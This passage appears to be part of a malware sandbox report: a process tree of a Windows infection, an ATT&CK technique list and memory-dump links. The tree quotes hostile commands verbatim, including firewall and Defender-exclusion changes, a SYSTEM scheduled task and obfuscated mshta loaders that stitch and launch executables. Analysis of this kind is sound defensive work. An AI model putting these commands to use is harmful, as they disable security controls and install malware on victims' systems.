      PID:5652
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:5760
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:5824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:5688
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:1028
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:4652
- C:\Users\Admin\Pictures\Adobe Films\S3TYhQjb8TR11_0RIdIU1g1o.exe
  "C:\Users\Admin\Pictures\Adobe Films\S3TYhQjb8TR11_0RIdIU1g1o.exe"
  2⤵
  PID:2272
- - C:\Users\Admin\Pictures\Adobe Films\S3TYhQjb8TR11_0RIdIU1g1o.exe
    "C:\Users\Admin\Pictures\Adobe Films\S3TYhQjb8TR11_0RIdIU1g1o.exe"
    3⤵
    PID:3724
- C:\Users\Admin\Pictures\Adobe Films\SG3nCFxSjUQZhyvM2uJez3tD.exe
  "C:\Users\Admin\Pictures\Adobe Films\SG3nCFxSjUQZhyvM2uJez3tD.exe"
  2⤵
  PID:676
- - C:\Users\Admin\Pictures\Adobe Films\SG3nCFxSjUQZhyvM2uJez3tD.exe
    "C:\Users\Admin\Pictures\Adobe Films\SG3nCFxSjUQZhyvM2uJez3tD.exe"
    3⤵
    PID:4548
- C:\Users\Admin\Pictures\Adobe Films\o_lc6KzXj7PhXM93073rugvg.exe
  "C:\Users\Admin\Pictures\Adobe Films\o_lc6KzXj7PhXM93073rugvg.exe"
  2⤵
  PID:2348
- C:\Users\Admin\Pictures\Adobe Films\yKqnY9KDXFG9ysEMJbjRDWoe.exe
  "C:\Users\Admin\Pictures\Adobe Films\yKqnY9KDXFG9ysEMJbjRDWoe.exe"
  2⤵
  PID:1372
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\yKqnY9KDXFG9ysEMJbjRDWoe.exe" & exit
    3⤵
    PID:6100
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6652
- C:\Users\Admin\Pictures\Adobe Films\VWQTPOT8NKysvlal5rfFXvU6.exe
  "C:\Users\Admin\Pictures\Adobe Films\VWQTPOT8NKysvlal5rfFXvU6.exe"
  2⤵
  PID:1340
- C:\Users\Admin\Pictures\Adobe Films\rmUUTXjAH3MUWnABhMrA_NuA.exe
  "C:\Users\Admin\Pictures\Adobe Films\rmUUTXjAH3MUWnABhMrA_NuA.exe"
  2⤵
  PID:1672
- - C:\Users\Admin\AppData\Roaming\4275268.exe
    "C:\Users\Admin\AppData\Roaming\4275268.exe"
    3⤵
    PID:5984
- - C:\Users\Admin\AppData\Roaming\5373396.exe
    "C:\Users\Admin\AppData\Roaming\5373396.exe"
    3⤵
    PID:6064
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:4444
- - C:\Users\Admin\AppData\Roaming\677496.exe
    "C:\Users\Admin\AppData\Roaming\677496.exe"
    3⤵
    PID:5300
- - C:\Users\Admin\AppData\Roaming\648515.exe
    "C:\Users\Admin\AppData\Roaming\648515.exe"
    3⤵
    PID:5316
- - C:\Users\Admin\AppData\Roaming\8050941.exe
    "C:\Users\Admin\AppData\Roaming\8050941.exe"
    3⤵
    PID:5660
- - C:\Users\Admin\AppData\Roaming\8364390.exe
    "C:\Users\Admin\AppData\Roaming\8364390.exe"
    3⤵
    PID:6068
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbsCRipT:CLOSe (CREaTeoBjeCt ( "WsCRiPT.shELl" ). RUn("cMd /q /r typE ""C:\Users\Admin\AppData\Roaming\8364390.exe"" > ..\hRe4meFEeBV4.Exe && STart ..\hRe4MefEeBV4.EXE -P6D2vWFuByB~LUChZfDCCXGQDCu &IF """" == """" for %T In ( ""C:\Users\Admin\AppData\Roaming\8364390.exe"" ) do taskkill /F /IM ""%~NxT"" " , 0 ,tRue ) )
      4⤵
      PID:5624
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /r typE "C:\Users\Admin\AppData\Roaming\8364390.exe" >..\hRe4meFEeBV4.Exe &&STart ..\hRe4MefEeBV4.EXE -P6D2vWFuByB~LUChZfDCCXGQDCu &IF "" =="" for %T In ( "C:\Users\Admin\AppData\Roaming\8364390.exe" ) do taskkill /F /IM "%~NxT"
        5⤵
        
        PID:5760
      - C:\Users\Admin\AppData\Local\Temp\hRe4meFEeBV4.Exe
        
        ..\hRe4MefEeBV4.EXE -P6D2vWFuByB~LUChZfDCCXGQDCu
        6⤵
        
        PID:436
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRipT:CLOSe (CREaTeoBjeCt ( "WsCRiPT.shELl" ). RUn("cMd /q /r typE ""C:\Users\Admin\AppData\Local\Temp\hRe4meFEeBV4.Exe"" > ..\hRe4meFEeBV4.Exe && STart ..\hRe4MefEeBV4.EXE -P6D2vWFuByB~LUChZfDCCXGQDCu &IF ""-P6D2vWFuByB~LUChZfDCCXGQDCu "" == """" for %T In ( ""C:\Users\Admin\AppData\Local\Temp\hRe4meFEeBV4.Exe"" ) do taskkill /F /IM ""%~NxT"" " , 0 ,tRue ) )
        7⤵
        
        PID:5388
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /r typE "C:\Users\Admin\AppData\Local\Temp\hRe4meFEeBV4.Exe" >..\hRe4meFEeBV4.Exe &&STart ..\hRe4MefEeBV4.EXE -P6D2vWFuByB~LUChZfDCCXGQDCu &IF "-P6D2vWFuByB~LUChZfDCCXGQDCu " =="" for %T In ( "C:\Users\Admin\AppData\Local\Temp\hRe4meFEeBV4.Exe" ) do taskkill /F /IM "%~NxT"
        8⤵
        
        PID:5696
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbscrIPT: clOSE( CrEatEoBjeCT( "WSCRiPT.sheLl" ).rUN("cmd.EXe /r echo | SeT /p = ""MZ"" > 7j2h.X & cOpY /Y /B 7j2h.X +JKP~8.4S + B1e_WrH5.y + JMT~Lj.Er~+ JgZtFRO.S1Z ..\BzpSBXOA.OL & DEL /q *& STArT msiexec.exe -Y ..\bzPSbxoA.OL " ,0 , TruE ))
        7⤵
        
        PID:5040
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r echo | SeT /p = "MZ" > 7j2h.X &cOpY /Y /B 7j2h.X +JKP~8.4S + B1e_WrH5.y+JMT~Lj.Er~+JgZtFRO.S1Z ..\BzpSBXOA.OL &DEL /q *&STArT msiexec.exe -Y ..\bzPSbxoA.OL
        8⤵
        
        PID:2264
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo "
        9⤵
        
        PID:5004
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>7j2h.X"
        9⤵
        
        PID:6356
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM "8364390.exe"
        6⤵
        Kills process with taskkill
        
        PID:3332
- - C:\Users\Admin\AppData\Roaming\7766473.exe
    "C:\Users\Admin\AppData\Roaming\7766473.exe"
    3⤵
    PID:5520
- C:\Users\Admin\Pictures\Adobe Films\IWIfRmMOUhGt7fw09GuheJkZ.exe
  "C:\Users\Admin\Pictures\Adobe Films\IWIfRmMOUhGt7fw09GuheJkZ.exe"
  2⤵
  PID:3516
- C:\Users\Admin\Pictures\Adobe Films\ZMeUoXViHtS9IYUEcrxUL4Ox.exe
  "C:\Users\Admin\Pictures\Adobe Films\ZMeUoXViHtS9IYUEcrxUL4Ox.exe"
  2⤵
  PID:1816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 660
    3⤵
    - Program crash
    PID:4616
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 672
    3⤵
    - Program crash
    PID:5508
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 676
    3⤵
    - Program crash
    PID:5776
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 684
    3⤵
    - Program crash
    PID:5204
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 772
    3⤵
    - Program crash
    PID:4660
- C:\Users\Admin\Pictures\Adobe Films\YuzYzkWiF5Gif37jvm8SWPO7.exe
  "C:\Users\Admin\Pictures\Adobe Films\YuzYzkWiF5Gif37jvm8SWPO7.exe"
  2⤵
  PID:4176
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    PID:4200
- C:\Users\Admin\Pictures\Adobe Films\N6eGmNqthchqMd3IoIQs51j0.exe
  "C:\Users\Admin\Pictures\Adobe Films\N6eGmNqthchqMd3IoIQs51j0.exe"
  2⤵
  PID:3888
- C:\Users\Admin\Pictures\Adobe Films\yjEtwvCNTccHbCJmtPKWj7rH.exe
  "C:\Users\Admin\Pictures\Adobe Films\yjEtwvCNTccHbCJmtPKWj7rH.exe"
  2⤵
  PID:1048
- C:\Users\Admin\Pictures\Adobe Films\TLMLZcHAGoiyn9r32Bu3Zn4F.exe
  "C:\Users\Admin\Pictures\Adobe Films\TLMLZcHAGoiyn9r32Bu3Zn4F.exe"
  2⤵
  PID:2968
- C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe
  "C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe"
  2⤵
  PID:2664
- - C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe
    "C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe"
    3⤵
    PID:5436
- - C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe
    "C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe"
    3⤵
    PID:4352
- - C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe
    "C:\Users\Admin\Pictures\Adobe Films\ZZliF25k2r7iMhFU5zjyB_1d.exe"
    3⤵
    PID:4708
- C:\Users\Admin\Pictures\Adobe Films\tLBgQTXm8DWNaNBFyOslrYmh.exe
  "C:\Users\Admin\Pictures\Adobe Films\tLBgQTXm8DWNaNBFyOslrYmh.exe"
  2⤵
  PID:2272
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\tLBgQTXm8DWNaNBFyOslrYmh.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\tLBgQTXm8DWNaNBFyOslrYmh.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
    3⤵
    PID:4544
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\tLBgQTXm8DWNaNBFyOslrYmh.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\tLBgQTXm8DWNaNBFyOslrYmh.exe" ) do taskkill -im "%~NxK" -F
      4⤵
      PID:5172
    - - C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
        
        8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
        5⤵
        
        PID:5264
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        6⤵
        
        PID:5724
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
        7⤵
        
        PID:5544
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
        6⤵
        
        PID:4532
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
        7⤵
        
        PID:6512
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        8⤵
        
        PID:6352
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
        8⤵
        
        PID:5224
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "tLBgQTXm8DWNaNBFyOslrYmh.exe" -F
        5⤵
        Kills process with taskkill
        
        PID:3228
- C:\Users\Admin\Pictures\Adobe Films\QyG3IWnWNFusr2qhY34TUos9.exe
  "C:\Users\Admin\Pictures\Adobe Films\QyG3IWnWNFusr2qhY34TUos9.exe"
  2⤵
  PID:5944

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4676
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4924

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe"
1⤵
PID:1568
- C:\Windows\SysWOW64\cmd.exe
  /c del "C:\Users\Admin\Pictures\Adobe Films\VWQTPOT8NKysvlal5rfFXvU6.exe"
  2⤵
  PID:596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/320-410-0x0000023652500000-0x0000023652572000-memory.dmp

Download

memory/372-180-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Download

memory/372-200-0x0000000001210000-0x0000000001211000-memory.dmp

Download

memory/372-220-0x00000000014F0000-0x00000000014F2000-memory.dmp

Download

memory/508-281-0x0000000000400000-0x00000000004C6000-memory.dmp

Download

memory/508-280-0x0000000001FD0000-0x0000000002000000-memory.dmp

Download

memory/508-273-0x00000000022B0000-0x00000000022CF000-memory.dmp

Download

memory/508-288-0x00000000023B3000-0x00000000023B4000-memory.dmp

Download

memory/508-285-0x00000000023B4000-0x00000000023B6000-memory.dmp

Download

memory/508-286-0x00000000023B2000-0x00000000023B3000-memory.dmp

Download

memory/508-275-0x0000000004F10000-0x0000000004F2E000-memory.dmp

Download

memory/508-283-0x00000000023B0000-0x00000000023B1000-memory.dmp

Download

memory/864-444-0x0000022B39E00000-0x0000022B39E72000-memory.dmp

Download

memory/1048-475-0x0000000000030000-0x0000000000033000-memory.dmp

Download

memory/1060-194-0x0000000000980000-0x0000000000981000-memory.dmp

Download

memory/1060-209-0x0000000002880000-0x0000000002882000-memory.dmp

Download

memory/1100-438-0x0000025B14540000-0x0000025B145B2000-memory.dmp

Download

memory/1140-198-0x0000000002F70000-0x0000000002F71000-memory.dmp

Download

memory/1140-204-0x0000000002F70000-0x0000000002F71000-memory.dmp

Download

memory/1240-439-0x000002C19E440000-0x000002C19E4B2000-memory.dmp

Download

memory/1260-268-0x0000000000400000-0x000000000046F000-memory.dmp

Download

memory/1260-264-0x0000000000590000-0x00000000006DA000-memory.dmp

Download

memory/1276-445-0x00000269A60D0000-0x00000269A6142000-memory.dmp

Download

memory/1340-489-0x0000000001660000-0x0000000001671000-memory.dmp

Download

memory/1340-511-0x0000000001680000-0x00000000019A0000-memory.dmp

Download

memory/1372-205-0x0000000000400000-0x000000000042C000-memory.dmp

Download

memory/1432-447-0x0000026E74440000-0x0000026E744B2000-memory.dmp

Download

memory/1480-493-0x0000000077A60000-0x0000000077BEE000-memory.dmp

Download

memory/1672-478-0x000000001B810000-0x000000001B812000-memory.dmp

Download

memory/1768-302-0x0000000005C00000-0x0000000005D4C000-memory.dmp

Download

memory/1780-218-0x0000000007520000-0x0000000007521000-memory.dmp

Download

memory/1780-196-0x0000000004C70000-0x0000000004C71000-memory.dmp

Download

memory/1780-241-0x0000000008190000-0x0000000008191000-memory.dmp

Download

memory/1780-304-0x000000007EF20000-0x000000007EF21000-memory.dmp

Download

memory/1780-237-0x00000000078B0000-0x00000000078B1000-memory.dmp

Download

memory/1780-238-0x0000000007A20000-0x0000000007A21000-memory.dmp

Download

memory/1780-233-0x0000000007810000-0x0000000007811000-memory.dmp

Download

memory/1780-213-0x0000000007522000-0x0000000007523000-memory.dmp

Download

memory/1780-257-0x0000000007AB0000-0x0000000007AB1000-memory.dmp

Download

memory/1780-193-0x0000000004C70000-0x0000000004C71000-memory.dmp

Download

memory/1780-289-0x0000000004C70000-0x0000000004C71000-memory.dmp

Download

memory/1780-320-0x0000000007523000-0x0000000007524000-memory.dmp

Download

memory/1780-210-0x0000000007B60000-0x0000000007B61000-memory.dmp

Download

memory/1780-206-0x00000000050C0000-0x00000000050C1000-memory.dmp

Download

memory/1852-449-0x000002A1E5AD0000-0x000002A1E5B42000-memory.dmp

Download

memory/2172-249-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/2172-267-0x0000000004E50000-0x0000000005456000-memory.dmp

Download

memory/2292-239-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Download

memory/2292-243-0x0000000005D90000-0x0000000005D91000-memory.dmp

Download

memory/2292-246-0x0000000005780000-0x0000000005781000-memory.dmp

Download

memory/2292-244-0x0000000001500000-0x0000000001501000-memory.dmp

Download

memory/2292-247-0x0000000005780000-0x0000000005D86000-memory.dmp

Download

memory/2292-245-0x0000000005890000-0x0000000005891000-memory.dmp

Download

memory/2292-229-0x0000000077A60000-0x0000000077BEE000-memory.dmp

Download

memory/2292-248-0x00000000057C0000-0x00000000057C1000-memory.dmp

Download

memory/2332-436-0x0000021E47B10000-0x0000021E47B82000-memory.dmp

Download

memory/2356-434-0x0000024C41060000-0x0000024C410D2000-memory.dmp

Download

memory/2488-402-0x0000020A71900000-0x0000020A71972000-memory.dmp

Download

memory/2600-450-0x000001DB1EC00000-0x000001DB1EC72000-memory.dmp

Download

memory/2608-458-0x0000019C78F60000-0x0000019C78FD2000-memory.dmp

Download

memory/2700-262-0x0000000002BF0000-0x0000000002BF1000-memory.dmp

Download

memory/2700-259-0x0000000002BF0000-0x0000000002BF1000-memory.dmp

Download

memory/2908-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/2908-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/2908-142-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/2908-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/2908-135-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/2908-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/2908-150-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2908-145-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2908-147-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2908-143-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2908-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/2908-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/3048-318-0x00000000008E0000-0x00000000008F5000-memory.dmp

Download

memory/3048-498-0x0000000004D90000-0x0000000004F34000-memory.dmp

Download

memory/3488-231-0x00000000001E0000-0x00000000001E1000-memory.dmp

Download

memory/3516-531-0x0000000004B92000-0x0000000004B93000-memory.dmp

Download

memory/3516-515-0x0000000000550000-0x000000000057B000-memory.dmp

Download

memory/3516-526-0x0000000004B90000-0x0000000004B91000-memory.dmp

Download

memory/3548-522-0x00007FFE2F590000-0x00007FFE2F592000-memory.dmp

Download

memory/3724-535-0x0000000000400000-0x0000000000408000-memory.dmp

Download

memory/3852-265-0x0000000000400000-0x000000000044F000-memory.dmp

Download

memory/3852-260-0x0000000000030000-0x0000000000039000-memory.dmp

Download

memory/3852-185-0x0000000000621000-0x000000000062A000-memory.dmp

Download

memory/3916-416-0x0000020248BD0000-0x0000020248C42000-memory.dmp

Download

memory/3916-413-0x0000020248B10000-0x0000020248B5D000-memory.dmp

Download

memory/4000-230-0x0000000005280000-0x00000000052F6000-memory.dmp

Download

memory/4000-227-0x0000000002C40000-0x0000000002C41000-memory.dmp

Download

memory/4000-221-0x0000000005300000-0x0000000005301000-memory.dmp

Download

memory/4000-234-0x00000000058B0000-0x00000000058B1000-memory.dmp

Download

memory/4000-212-0x0000000000A40000-0x0000000000A41000-memory.dmp

Download

memory/4720-399-0x0000000000CB0000-0x0000000000D5E000-memory.dmp

Download

memory/4720-409-0x0000000000C40000-0x0000000000C9D000-memory.dmp

Download

memory/4800-440-0x0000000004960000-0x0000000004A3F000-memory.dmp

Download

memory/4800-442-0x0000000004A40000-0x0000000004AEB000-memory.dmp

Download

memory/4896-485-0x0000000077A60000-0x0000000077BEE000-memory.dmp

Download

memory/4924-507-0x00000161B9F00000-0x00000161BA005000-memory.dmp

Download

memory/4924-406-0x00000161B76D0000-0x00000161B7742000-memory.dmp

Download

memory/4924-503-0x00000161B8F00000-0x00000161B8F1B000-memory.dmp

Download

memory/5008-481-0x0000000077A60000-0x0000000077BEE000-memory.dmp

Download

memory/5068-479-0x0000000077A60000-0x0000000077BEE000-memory.dmp

Download

memory/5068-519-0x0000000005490000-0x0000000005491000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads